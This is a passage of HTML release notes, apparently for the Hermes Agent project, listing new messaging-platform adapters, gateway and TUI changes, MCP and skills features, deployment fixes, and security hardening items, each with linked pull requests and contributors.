<li><strong>iMessage via Photon Spectrum</strong> — <code>hermes photon login</code> (device-code OAuth), gRPC-native channel (no webhook), markdown rendering, emoji reactions, outbound media via spectrum-ts (<a href="https://github.com/NousResearch/hermes-agent/pull/32348" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/32348/hovercard">#32348</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/42582" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/42582/hovercard">#42582</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/44713" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/44713/hovercard">#44713</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/42397" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/42397/hovercard">#42397</a> — <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/teknium1/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/teknium1">@teknium1</a>)</li>
<li><strong>WhatsApp Business Cloud API</strong> adapter (official, no bridge process) (<a href="https://github.com/NousResearch/hermes-agent/pull/44331" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/44331/hovercard">#44331</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/43921" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/43921/hovercard">#43921</a> — <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/jquesnelle/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/jquesnelle">@jquesnelle</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/teknium1/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/teknium1">@teknium1</a>)</li>
<li><strong>SimpleX</strong> — groups, native attachments, text batching, auto-accept; <strong>Raft</strong> bundled platform plugin with activity hooks (<a href="https://github.com/NousResearch/hermes-agent/pull/42584" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/42584/hovercard">#42584</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/48210" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/48210/hovercard">#48210</a> — <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/teknium1/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/teknium1">@teknium1</a>)</li>
</ul>
<h3>Gateway core &amp; rendering</h3>
<ul>
<li>Render terminal tool calls as native bash code blocks on markdown platforms; bare fenced code blocks in chat; optional message timestamps for LLM context; configurable <code>tool_progress_grouping</code> (<a href="https://github.com/NousResearch/hermes-agent/pull/41215" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/41215/hovercard">#41215</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/42576" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/42576/hovercard">#42576</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/47253" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/47253/hovercard">#47253</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/47228" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/47228/hovercard">#47228</a> — <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/teknium1/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/teknium1">@teknium1</a>)</li>
<li>Telegram: Bot API 10.1 rich messages (now always-on with opt-out); opt-in Online/Offline bot status indicator; stop cutting long streamed responses; MarkdownV2 on progress edits; gate oversized voice/audio before download (<a href="https://github.com/NousResearch/hermes-agent/pull/44829" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/44829/hovercard">#44829</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/45584" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/45584/hovercard">#45584</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/49134" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/49134/hovercard">#49134</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/43761" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/43761/hovercard">#43761</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/44245" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/44245/hovercard">#44245</a> — <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/teknium1/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/teknium1">@teknium1</a>)</li>
<li>Discord: propagate <code>role_authorized</code> so <code>DISCORD_ALLOWED_ROLES</code> works end-to-end; recover from runtime gateway task exits; cancel <code>_bot_task</code> on connect failure; stop typing after replies (<a href="https://github.com/NousResearch/hermes-agent/pull/43327" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/43327/hovercard">#43327</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/44383" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/44383/hovercard">#44383</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/44432" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/44432/hovercard">#44432</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/44836" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/44836/hovercard">#44836</a> — <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/teknium1/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/teknium1">@teknium1</a>)</li>
<li>Slack: scope top-level channel messages when <code>reply_in_thread=false</code>; thread approval UX (block-size overflow + typed-prefix); make video attachments available to agents; <code>register_slack_action_handler</code> plugin API (<a href="https://github.com/NousResearch/hermes-agent/pull/41703" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/41703/hovercard">#41703</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/43444" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/43444/hovercard">#43444</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/45512" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/45512/hovercard">#45512</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/44664" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/44664/hovercard">#44664</a> — <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/teknium1/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/teknium1">@teknium1</a>)</li>
<li>Replied-to media attachments included; document attachments classified as DOCUMENT on Signal/Email/SimpleX/Teams; WhatsApp restarts stale bridge processes; Matrix room-context isolation; QQbot CPU-spin fix; Weixin rate-limit circuit breaker (<a href="https://github.com/NousResearch/hermes-agent/pull/46107" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/46107/hovercard">#46107</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/44695" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/44695/hovercard">#44695</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/44205" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/44205/hovercard">#44205</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/18505" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/18505/hovercard">#18505</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/40574" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/40574/hovercard">#40574</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/41718" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/41718/hovercard">#41718</a> — <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/teknium1/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/teknium1">@teknium1</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/banditburai/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/banditburai">@banditburai</a>)</li>
</ul>
<h2>🖥️ CLI, TUI &amp; Setup</h2>
<ul>
<li><code>/version</code> slash command; <code>/billing</code> interactive terminal billing (TUI + CLI); show time since last final agent response on the status bar; persist resolved approval/clarify prompts in scrollback (<a href="https://github.com/NousResearch/hermes-agent/pull/40214" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/40214/hovercard">#40214</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/45449" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/45449/hovercard">#45449</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/44265" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/44265/hovercard">#44265</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/44702" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/44702/hovercard">#44702</a> — <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/teknium1/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/teknium1">@teknium1</a>)</li>
<li>Lock hermes worktrees so concurrent processes can't clobber them; display custom profile alias names in list/show; clone profiles from any source (<a href="https://github.com/NousResearch/hermes-agent/pull/48699" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/48699/hovercard">#48699</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/40371" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/40371/hovercard">#40371</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/45630" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/45630/hovercard">#45630</a> — <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/teknium1/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/teknium1">@teknium1</a>)</li>
<li>Opt-in structured profile-build path on first contact; configurable per-platform system-prompt hints; configurable background memory/skill notifications (<a href="https://github.com/NousResearch/hermes-agent/pull/41114" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/41114/hovercard">#41114</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/48630" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/48630/hovercard">#48630</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/47226" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/47226/hovercard">#47226</a> — <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/teknium1/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/teknium1">@teknium1</a>)</li>
<li>TUI: interactive Plugins Hub enable/disable overlay; session name in the terminal titlebar; paint approval/clarify/sudo/secret modals directly (not via throttle); wrap long approval commands instead of truncating (<a href="https://github.com/NousResearch/hermes-agent/pull/42965" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/42965/hovercard">#42965</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/43188" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/43188/hovercard">#43188</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/41155" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/41155/hovercard">#41155</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/44691" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/44691/hovercard">#44691</a> — <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/teknium1/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/teknium1">@teknium1</a>)</li>
<li>TTS: Gemini persona prompts + audio tags; xAI auto speech tags + speed/streaming knobs; Piper speaker_id; OGG for Telegram auto-TTS (<a href="https://github.com/NousResearch/hermes-agent/pull/43442" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/43442/hovercard">#43442</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/49061" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/49061/hovercard">#49061</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/49062" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/49062/hovercard">#49062</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/49060" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/49060/hovercard">#49060</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/41644" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/41644/hovercard">#41644</a> — <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/teknium1/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/teknium1">@teknium1</a>)</li>
</ul>
<h2>🔧 Tool System, Skills &amp; MCP</h2>
<ul>
<li><strong>image-to-image / editing</strong> in <code>image_generate</code> across all backends; shrink images to provider dimension limit (<a href="https://github.com/NousResearch/hermes-agent/pull/48705" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/48705/hovercard">#48705</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/45979" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/45979/hovercard">#45979</a> — <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/teknium1/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/teknium1">@teknium1</a>)</li>
<li>MCP: official <strong>Unreal Engine 5.8</strong> MCP server in the catalog; <strong>elicitation handler</strong> so MCP servers can prompt for mid-tool-call confirmation (payment/OAuth) on whichever surface owns the session — CLI/TUI/Telegram/Slack; expose late-connecting MCP tools to the agent between turns (cache-safe); keepalive ping for short-TTL HTTP sessions; block exfil-shaped / suspicious stdio configs before probe; capability-gate <code>tools/list</code> so prompt-only servers connect; preserve stdio argv passthrough + Windows env vars (<a href="https://github.com/NousResearch/hermes-agent/pull/48397" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/48397/hovercard">#48397</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/49203" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/49203/hovercard">#49203</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/49208" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/49208/hovercard">#49208</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/49221" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/49221/hovercard">#49221</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/46083" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/46083/hovercard">#46083</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/44550" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/44550/hovercard">#44550</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/44324" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/44324/hovercard">#44324</a> — <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/teknium1/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/teknium1">@teknium1</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/lgalabru/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/lgalabru">@lgalabru</a>)</li>
<li>Skills: <code>simplify-code</code> skill (parallel 3-agent code review &amp; cleanup) + risk-tiered application with Chesterton's Fence; find &amp; diff user-modified bundled skills; optional <strong>payments</strong> skills (Stripe Link, MPP, Projects); CLI-based shop skill; live per-source browse progress (<a href="https://github.com/NousResearch/hermes-agent/pull/41691" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/41691/hovercard">#41691</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/49070" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/49070/hovercard">#49070</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/48286" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/48286/hovercard">#48286</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/31343" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/31343/hovercard">#31343</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/47309" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/47309/hovercard">#47309</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/43398" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/43398/hovercard">#43398</a> — <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/teknium1/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/teknium1">@teknium1</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/colinwren-stripe/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/colinwren-stripe">@colinwren-stripe</a>)</li>
<li>Curator: make skill consolidation opt-in (prune stays default-on) (<a href="https://github.com/NousResearch/hermes-agent/pull/47840" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/47840/hovercard">#47840</a> — <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/teknium1/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/teknium1">@teknium1</a>)</li>
<li>Plugins: install from a subdirectory within a repo; accept browser-pasted GitHub URLs in <code>hermes plugins install</code>; <code>session:compress</code> lifecycle event + <code>thread_id</code>/<code>chat_type</code> in agent:start/end context (<a href="https://github.com/NousResearch/hermes-agent/pull/42963" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/42963/hovercard">#42963</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/33539" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/33539/hovercard">#33539</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/47252" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/47252/hovercard">#47252</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/41672" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/41672/hovercard">#41672</a> — <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/teknium1/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/teknium1">@teknium1</a>)</li>
<li>Memory/skill <strong>write approval</strong> gate (default off) — boolean <code>write_approval</code> replaces the tri-state <code>write_mode</code> (<a href="https://github.com/NousResearch/hermes-agent/pull/38199" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/38199/hovercard">#38199</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/43354" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/43354/hovercard">#43354</a> — <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/teknium1/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/teknium1">@teknium1</a>)</li>
</ul>
<h2>🌐 Fleet, Relay &amp; Automation</h2>
<ul>
<li><strong>Managed scope</strong> — administrator-pinned, user-immutable config &amp; secrets from a root-owned <code>/etc/hermes</code> (<a href="https://github.com/NousResearch/hermes-agent/pull/49098" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/49098/hovercard">#49098</a> — <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/teknium1/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/teknium1">@teknium1</a>)</li>
<li><strong>Multiplex all profiles over one gateway process</strong> (opt-in) (<a href="https://github.com/NousResearch/hermes-agent/pull/48273" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/48273/hovercard">#48273</a> — <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/benbarclay/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/benbarclay">@benbarclay</a>)</li>
<li><strong>Pluggable CronScheduler</strong> + Chronos managed-cron provider (scale-to-zero) (<a href="https://github.com/NousResearch/hermes-agent/pull/48275" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/48275/hovercard">#48275</a> — <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/benbarclay/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/benbarclay">@benbarclay</a>)</li>
<li><strong>Automation Blueprints</strong> — parameterized automation templates across every surface (<a href="https://github.com/NousResearch/hermes-agent/pull/41309" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/41309/hovercard">#41309</a> — <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/teknium1/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/teknium1">@teknium1</a>)</li>
<li>Gateway-Gateway relay (phases 0-3): relay adapter + capability descriptor, connector⇄gateway channel auth + signed-HTTP inbound + enroll CLI, WS-only inbound, managed-boot self-provision client (<a href="https://github.com/NousResearch/hermes-agent/pull/48078" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/48078/hovercard">#48078</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/48147" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/48147/hovercard">#48147</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/48294" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/48294/hovercard">#48294</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/48242" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/48242/hovercard">#48242</a> — <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/teknium1/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/teknium1">@teknium1</a>)</li>
</ul>
<h2>🐳 Docker, Nix &amp; Installer</h2>
<ul>
<li>s6: detect supervisor directly for gateway restart; register profile gateways without auto-starting; persist desired state; clear stale log locks (<a href="https://github.com/NousResearch/hermes-agent/pull/46290" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/46290/hovercard">#46290</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/46266" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/46266/hovercard">#46266</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/46292" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/46292/hovercard">#46292</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/46289" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/46289/hovercard">#46289</a> — <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/teknium1/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/teknium1">@teknium1</a>)</li>
<li>Docker: optimize image size (.dockerignore, drop dev deps, split layers); pre-install matrix deps; supervised gateway uses <code>--replace</code>; harden hosted install tree against self-modification (<a href="https://github.com/NousResearch/hermes-agent/pull/38749" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/38749/hovercard">#38749</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/42413" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/42413/hovercard">#42413</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/47555" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/47555/hovercard">#47555</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/47490" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/47490/hovercard">#47490</a> — <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/teknium1/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/teknium1">@teknium1</a>)</li>
<li>Nix: cold npm build fixes + auto-fix-lockfiles workflow; hashless npm deps via <code>importNpmLock</code>; refresh npmDepsHash after Electron 40.10.2 pin (<a href="https://github.com/NousResearch/hermes-agent/pull/41867" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/41867/hovercard">#41867</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/48883" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/48883/hovercard">#48883</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/48457" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/48457/hovercard">#48457</a> — <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/teknium1/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/teknium1">@teknium1</a>)</li>
<li>Installer: clear unmerged git index before autostash; scope install-method stamp to the code tree (<a href="https://github.com/NousResearch/hermes-agent/pull/45515" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/45515/hovercard">#45515</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/48188" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/48188/hovercard">#48188</a> — <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/teknium1/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/teknium1">@teknium1</a>)</li>
</ul>
<h2>🔒 Security &amp; Reliability</h2>
<ul>
<li>Fail closed on own-policy gateway adapters; fail closed for approval-button auth on Slack/Feishu/Discord when no allowlist is set (<a href="https://github.com/NousResearch/hermes-agent/pull/45634" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/45634/hovercard">#45634</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/41226" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/41226/hovercard">#41226</a> — <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/teknium1/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/teknium1">@teknium1</a>)</li>
<li>Redact secrets in request debug dumps; withhold host metadata from public status; block exfil-shaped / suspicious MCP stdio configs before probe (<a href="https://github.com/NousResearch/hermes-agent/pull/46637" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/46637/hovercard">#46637</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/45642" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/45642/hovercard">#45642</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/46083" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/46083/hovercard">#46083</a> — <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/teknium1/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/teknium1">@teknium1</a>)</li>
<li>Close shell-escape denylist bypass + fail-closed on missing approval module; scrub operator environment before launching cua-driver MCP; sanitize env for cron job-script subprocesses; bound TodoStore content length/count; scan REST cron prompts for parity with the agent tool (<a href="https://github.com/NousResearch/hermes-agent/pull/40591" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/40591/hovercard">#40591</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/48423" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/48423/hovercard">#48423</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/49207" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/49207/hovercard">#49207</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/41648" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/41648/hovercard">#41648</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/41335" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/41335/hovercard">#41335</a> — <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/teknium1/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/teknium1">@teknium1</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/kshitijk4poor/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/kshitijk4poor">@kshitijk4poor</a>)</li>
